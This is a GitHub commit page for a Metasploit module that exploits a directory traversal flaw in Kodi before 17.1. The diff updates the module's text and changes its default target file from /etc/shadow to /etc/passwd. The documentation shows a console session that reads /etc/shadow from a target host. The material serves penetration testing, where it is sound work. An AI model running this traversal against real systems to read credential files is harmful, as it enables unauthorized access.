Skip to content

Commit 73eed10

Browse files
author
jvoisin
committed
Take into account @h00die's comments.
1 parent 7bd6aff commit 73eed10

File tree

2 files changed

+11
-10
lines changed

2 files changed

+11
-10
lines changed

documentation/modules/auxiliary/scanner/http/kodi_traversal.md

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,27 @@
11
## Vulnerable Application
22

3-
This module exploits an arbitrary file disclosure vulnerability in Kodi 17.1.
3+
This module exploits an arbitrary file disclosure vulnerability in Kodi before 17.1.
44

55
**Vulnerable Application Installation Steps**
66

77
Grab whatever image from [libreelec](https://libreelec.tv/downloads/) if
8-
you're lazy, or [install kodi from scratch](http://kodi.wiki/view/HOW-TO:Install_Kodi_for_Linux).
8+
you're lazy, like the [one for the Rpi2](http://releases.libreelec.tv/LibreELEC-RPi2.arm-7.0.3.img.gz),
9+
or [install kodi from scratch](http://kodi.wiki/view/HOW-TO:Install_Kodi_for_Linux).
910

10-
You'll need a version lower than 17.1.
11+
You'll need a version lower than 17.1 of Kodi.
1112

1213
## Verification Steps
1314

14-
A successful check of the exploit will look like this:
15+
A successful run of the exploit will look like this:
1516

1617
```
1718
msf > use auxiliary/scanner/http/kodi_traversal
1819
msf auxiliary(kodi_traversal) > set RPORT 8080
1920
RPORT => 8080
2021
msf auxiliary(kodi_traversal) > set RHOSTS 192.168.0.31
2122
RHOSTS => 192.168.0.31
23+
msf auxiliary(kodi_traversal) > set FILE /etc/shadow
24+
FILE => /etc/shadow
2225
msf auxiliary(kodi_traversal) > run
2326
2427
[*] Reading '/etc/shadow'
@@ -35,6 +38,4 @@ dbus:*:::::::
3538
system:*:::::::
3639
sshd:*:::::::
3740
avahi:*:::::::
38-
msf auxiliary(kodi_traversal) > info
39-
4041
```

modules/auxiliary/scanner/http/kodi_traversal.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -13,9 +13,9 @@ class MetasploitModule < Msf::Auxiliary
1313

1414
def initialize(info = {})
1515
super(update_info(info,
16-
'Name' => 'Kodi 17.1 Local File Inclusion Vulnerability',
16+
'Name' => 'Kodi 17.0 Local File Inclusion Vulnerability',
1717
'Description' => %q{
18-
This module exploits a directory traversal flaw found in Kodi 17.1.
18+
This module exploits a directory traversal flaw found in Kodi before 17.1.
1919
},
2020
'References' =>
2121
[
@@ -33,7 +33,7 @@ def initialize(info = {})
3333
register_options(
3434
[
3535
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
36-
OptString.new('FILE', [true, 'The file to obtain', '/etc/shadow']),
36+
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
3737
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
3838
], self.class)
3939
end
@@ -77,7 +77,7 @@ def run_host(ip)
7777
print_good("#{fname} stored as '#{p}'")
7878

7979
else
80-
print_error("Fail to obtain file for some unknown reason")
80+
print_error('Fail to obtain file for some unknown reason')
8181
end
8282
end
8383

0 commit comments

Comments
 (0)